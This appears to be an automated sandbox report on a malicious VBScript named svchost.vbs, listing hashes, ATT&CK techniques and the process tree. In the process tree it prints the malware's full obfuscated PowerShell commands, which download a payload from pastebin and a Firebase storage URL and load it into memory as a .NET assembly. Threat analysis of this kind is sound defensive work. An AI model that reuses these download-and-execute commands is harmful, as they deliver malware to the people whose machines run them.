e50eab2b5a062ba0af3bec95fcf12637ac37e1d889c0cfbb6ae623d3bc25eb47

General

Target

svchost.vbs
Size

657KB
MD5

640e23a0f55c4759add8aad509ace287
SHA1

1dffe657f1bdc51e0bbbdecb893fa66c171e7bb3
SHA256

e50eab2b5a062ba0af3bec95fcf12637ac37e1d889c0cfbb6ae623d3bc25eb47
SHA512

27e2b59d60d770a850e64600b7022ca5ddcab4b017e9d4aea6017e294fd70877b27d3b6b17618c10378d056e0bd5fba68356ff0d39e6af97cdbd0c88cd025913
SSDEEP

384:Tu/u/u/u/Hu/u/u/u/Hu/u/u/u/McQOkcGZI8bt2:6GGGWGGGWGGGjZkcwI8bt2

Score

10^/10

defense_evasion discovery execution

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://pastebin.com/raw/0FK5ax2D

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exe

pid	Process
2428	powershell.exe
2752	powershell.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

Processes:

PING.EXE

pid	Process
2760	PING.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

Processes:

PING.EXE

pid	Process
2760	PING.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

pid	Process
2428	powershell.exe
2752	powershell.exe
3040	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

description	pid	Process
Token: SeDebugPrivilege	2428	powershell.exe
Token: SeDebugPrivilege	2752	powershell.exe
Token: SeDebugPrivilege	3040	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

WScript.exepowershell.exepowershell.exe

description	pid	Process	procid_target
PID 2572 wrote to memory of 2428	2572	WScript.exe	30
PID 2572 wrote to memory of 2428	2572	WScript.exe	30
PID 2572 wrote to memory of 2428	2572	WScript.exe	30
PID 2428 wrote to memory of 2752	2428	powershell.exe	32
PID 2428 wrote to memory of 2752	2428	powershell.exe	32
PID 2428 wrote to memory of 2752	2428	powershell.exe	32
PID 2752 wrote to memory of 2764	2752	powershell.exe	33
PID 2752 wrote to memory of 2764	2752	powershell.exe	33
PID 2752 wrote to memory of 2764	2752	powershell.exe	33
PID 2752 wrote to memory of 2760	2752	powershell.exe	34
PID 2752 wrote to memory of 2760	2752	powershell.exe	34
PID 2752 wrote to memory of 2760	2752	powershell.exe	34
PID 2752 wrote to memory of 3040	2752	powershell.exe	35
PID 2752 wrote to memory of 3040	2752	powershell.exe	35
PID 2752 wrote to memory of 3040	2752	powershell.exe	35

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\svchost.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2572
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT☹Hk☹cwB0☹GU☹bQ☹u☹E4☹ZQB0☹C4☹UwBl☹HI☹dgBp☹GM☹ZQBQ☹G8☹aQBu☹HQ☹TQBh☹G4☹YQBn☹GU☹cgBd☹Do☹OgBT☹GU☹YwB1☹HI☹aQB0☹Hk☹U☹By☹G8☹d☹Bv☹GM☹bwBs☹C☹☹PQ☹g☹Fs☹UwB5☹HM☹d☹Bl☹G0☹LgBO☹GU☹d☹☹u☹FM☹ZQBj☹HU☹cgBp☹HQ☹eQBQ☹HI☹bwB0☹G8☹YwBv☹Gw☹V☹B5☹H☹☹ZQBd☹Do☹OgBU☹Gw☹cw☹x☹DI☹Ow☹k☹EM☹QwBS☹Gg☹bQ☹g☹D0☹I☹☹n☹Gg☹d☹B0☹H☹☹cw☹6☹C8☹LwBw☹GE☹cwB0☹GU☹YgBp☹G4☹LgBj☹G8☹bQ☹v☹HI☹YQB3☹C8☹M☹BG☹Es☹NQBh☹Hg☹MgBE☹Cc☹I☹☹7☹CQ☹Zg☹g☹D0☹I☹☹o☹Fs☹UwB5☹HM☹d☹Bl☹G0☹LgBJ☹E8☹LgBQ☹GE☹d☹Bo☹F0☹Og☹6☹Ec☹ZQB0☹FQ☹ZQBt☹H☹☹U☹Bh☹HQ☹a☹☹o☹Ck☹I☹☹r☹C☹☹JwBk☹Gw☹b☹☹w☹DE☹LgB0☹Hg☹d☹☹n☹Ck☹I☹☹7☹Ek☹bgB2☹G8☹awBl☹C0☹VwBl☹GI☹UgBl☹HE☹dQBl☹HM☹d☹☹g☹C0☹VQBS☹Ek☹I☹☹k☹EM☹QwBS☹Gg☹bQ☹g☹C0☹TwB1☹HQ☹RgBp☹Gw☹ZQ☹g☹CQ☹Zg☹g☹C0☹VQBz☹GU☹QgBh☹HM☹aQBj☹F☹☹YQBy☹HM☹aQBu☹Gc☹I☹☹7☹GM☹bQBk☹C4☹ZQB4☹GU☹I☹☹v☹GM☹I☹☹7☹H☹☹aQBu☹Gc☹I☹☹x☹DI☹Nw☹u☹D☹☹Lg☹w☹C4☹MQ☹g☹Ds☹c☹Bv☹Hc☹ZQBy☹HM☹a☹Bl☹Gw☹b☹☹u☹GU☹e☹Bl☹C☹☹LQBj☹G8☹bQBt☹GE☹bgBk☹C☹☹ew☹k☹GY☹I☹☹9☹C☹☹K☹Bb☹FM☹eQBz☹HQ☹ZQBt☹C4☹SQBP☹C4☹U☹Bh☹HQ☹a☹Bd☹Do☹OgBH☹GU☹d☹BU☹GU☹bQBw☹F☹☹YQB0☹Gg☹K☹☹p☹C☹☹Kw☹g☹Cc☹Z☹Bs☹Gw☹M☹☹x☹C4☹d☹B4☹HQ☹Jw☹p☹C☹☹Ow☹k☹FE☹U☹B0☹GE☹dg☹g☹D0☹I☹☹o☹C☹☹RwBl☹HQ☹LQBD☹G8☹bgB0☹GU☹bgB0☹C☹☹LQBQ☹GE☹d☹Bo☹C☹☹J☹Bm☹C☹☹KQ☹g☹Ds☹SQBu☹HY☹bwBr☹GU☹LQBX☹GU☹YgBS☹GU☹cQB1☹GU☹cwB0☹C☹☹LQBV☹FI☹SQ☹g☹CQ☹UQBQ☹HQ☹YQB2☹C☹☹LQBP☹HU☹d☹BG☹Gk☹b☹Bl☹C☹☹J☹Bm☹C☹☹LQBV☹HM☹ZQBC☹GE☹cwBp☹GM☹U☹Bh☹HI☹cwBp☹G4☹ZwB9☹C☹☹Ow☹k☹FE☹U☹B0☹GE☹dg☹g☹D0☹I☹☹o☹C☹☹RwBl☹HQ☹LQBD☹G8☹bgB0☹GU☹bgB0☹C☹☹LQBQ☹GE☹d☹Bo☹C☹☹J☹Bm☹C☹☹KQ☹g☹Ds☹J☹Bu☹Gg☹b☹By☹GQ☹I☹☹9☹C☹☹Jw☹w☹Cc☹I☹☹7☹CQ☹bwB1☹GI☹bgBl☹C☹☹PQ☹g☹Cc☹JQBK☹Gs☹UQBh☹HM☹R☹Bm☹Gc☹cgBU☹Gc☹JQ☹n☹C☹☹OwBb☹EI☹eQB0☹GU☹WwBd☹F0☹I☹☹k☹HM☹awBv☹Hc☹aw☹g☹D0☹I☹Bb☹HM☹eQBz☹HQ☹ZQBt☹C4☹QwBv☹G4☹dgBl☹HI☹d☹Bd☹Do☹OgBG☹HI☹bwBt☹EI☹YQBz☹GU☹Ng☹0☹FM☹d☹By☹Gk☹bgBn☹Cg☹I☹☹k☹FE☹U☹B0☹GE☹dg☹u☹HI☹ZQBw☹Gw☹YQBj☹GU☹K☹☹n☹CQ☹J☹☹n☹Cw☹JwBB☹Cc☹KQ☹g☹Ck☹I☹☹7☹Fs☹UwB5☹HM☹d☹Bl☹G0☹LgBB☹H☹☹c☹BE☹G8☹bQBh☹Gk☹bgBd☹Do☹OgBD☹HU☹cgBy☹GU☹bgB0☹EQ☹bwBt☹GE☹aQBu☹C4☹T☹Bv☹GE☹Z☹☹o☹CQ☹cwBr☹G8☹dwBr☹Ck☹LgBH☹GU☹d☹BU☹Hk☹c☹Bl☹Cg☹JwBU☹GU☹a☹B1☹Gw☹YwBo☹GU☹cwBY☹Hg☹W☹B4☹Hg☹LgBD☹Gw☹YQBz☹HM☹MQ☹n☹Ck☹LgBH☹GU☹d☹BN☹GU☹d☹Bo☹G8☹Z☹☹o☹Cc☹TQBz☹HE☹QgBJ☹GI☹WQ☹n☹Ck☹LgBJ☹G4☹dgBv☹Gs☹ZQ☹o☹CQ☹bgB1☹Gw☹b☹☹s☹C☹☹WwBv☹GI☹agBl☹GM☹d☹Bb☹F0☹XQ☹g☹Cg☹JwBj☹GM☹MQBm☹DQ☹MQBk☹GY☹Mg☹5☹Dg☹Z☹☹t☹DQ☹ZQ☹5☹GE☹LQ☹w☹GM☹MQ☹0☹C0☹MwBh☹DY☹Mg☹t☹DY☹NQ☹x☹GU☹MQ☹1☹GU☹MQ☹9☹G4☹ZQBr☹G8☹d☹☹m☹GE☹aQBk☹GU☹bQ☹9☹HQ☹b☹Bh☹D8☹d☹B4☹HQ☹LgBv☹Go☹ZQBp☹HY☹cwBv☹GM☹bQBl☹HI☹Rg☹y☹CU☹bwB0☹GM☹ZQB5☹G8☹cgBw☹C8☹bw☹v☹G0☹bwBj☹C4☹d☹Bv☹H☹☹cwBw☹H☹☹YQ☹u☹DY☹MwBm☹DI☹Nw☹t☹HI☹cgBy☹HI☹cgBy☹C8☹Yg☹v☹D☹☹dg☹v☹G0☹bwBj☹C4☹cwBp☹H☹☹YQBl☹Gw☹ZwBv☹G8☹Zw☹u☹GU☹ZwBh☹HI☹bwB0☹HM☹ZQBz☹GE☹YgBl☹HI☹aQBm☹C8☹Lw☹6☹HM☹c☹B0☹HQ☹a☹☹n☹C☹☹L☹☹g☹CQ☹bwB1☹GI☹bgBl☹C☹☹L☹☹g☹Cc☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹C0☹LQ☹t☹C0☹LQ☹t☹C0☹Jw☹s☹C☹☹J☹Bu☹Gg☹b☹By☹GQ☹L☹☹g☹Cc☹MQ☹n☹Cw☹I☹☹n☹FI☹bwBk☹GE☹Jw☹g☹Ck☹KQ☹7☹☹==';$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $IuJUJJZz.replace('☹','A') ) );$Yolopolhggobek = $Yolopolhggobek.replace('%JkQasDfgrTg%', 'C:\Users\Admin\AppData\Local\Temp\svchost.vbs');powershell $Yolopolhggobek;
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2428
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$CCRhm = 'https://pastebin.com/raw/0FK5ax2D' ;$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;Invoke-WebRequest -URI $CCRhm -OutFile $f -UseBasicParsing ;cmd.exe /c ;ping 127.0.0.1 ;powershell.exe -command {$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;$QPtav = ( Get-Content -Path $f ) ;Invoke-WebRequest -URI $QPtav -OutFile $f -UseBasicParsing} ;$QPtav = ( Get-Content -Path $f ) ;$nhlrd = '0' ;$oubne = 'C:\Users\Admin\AppData\Local\Temp\svchost.vbs' ;[Byte[]] $skowk = [system.Convert]::FromBase64String( $QPtav.replace('$$','A') ) ;[System.AppDomain]::CurrentDomain.Load($skowk).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('cc1f41df298d-4e9a-0c14-3a62-651e15e1=nekot&aidem=tla?txt.ojeivsocmerF2%otceyorp/o/moc.topsppa.63f27-rrrrrr/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth' , $oubne , '____________________________________________-------', $nhlrd, '1', 'Roda' ));"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2752
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c
      4⤵
      PID:2764
  - - C:\Windows\system32\PING.EXE
      "C:\Windows\system32\PING.EXE" 127.0.0.1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:2760
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedCommand JABmACAAPQAgACgAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABQAGEAdABoACgAKQAgACsAIAAnAGQAbABsADAAMQAuAHQAeAB0ACcAKQAgADsAJABRAFAAdABhAHYAIAA9ACAAKAAgAEcAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACQAZgAgACkAIAA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQBSAEkAIAAkAFEAUAB0AGEAdgAgAC0ATwB1AHQARgBpAGwAZQAgACQAZgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcA -inputFormat xml -outputFormat text
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3040

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

1

T1027

Command Obfuscation

1

T1027.010

Credential Access

Discovery

Remote System Discovery

1

T1018

System Information Discovery

1

T1082

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
b74815a238815273ca6ad37ed8ceeceb

SHA1
0bdb5c3881484b7df4ee9a30c23cf50d979034c9

SHA256
8f0b3a76fb3627568a2d9afe1ed4800e91ea05dfc5b534293059b5fc88e4526b

SHA512
814005b64c4089c24810b4e7eb723e0f8b04eec93c6add62e53acb3deb14eb5a0c4ed6791a8ae6220ec45c7cb436869cbd47a97857c2a3272a90e0c132ca1227

Download Submit
memory/2428-4-0x000007FEF60AE000-0x000007FEF60AF000-memory.dmp

Filesize
4KB

Download
memory/2428-5-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

Filesize
9.6MB

Download
memory/2428-6-0x000000001B5D0000-0x000000001B8B2000-memory.dmp

Filesize
2.9MB

Download
memory/2428-7-0x00000000027F0000-0x00000000027F8000-memory.dmp

Filesize
32KB

Download
memory/2428-9-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

Filesize
9.6MB

Download
memory/2428-8-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

Filesize
9.6MB

Download
memory/2428-10-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

Filesize
9.6MB

Download
memory/2428-21-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads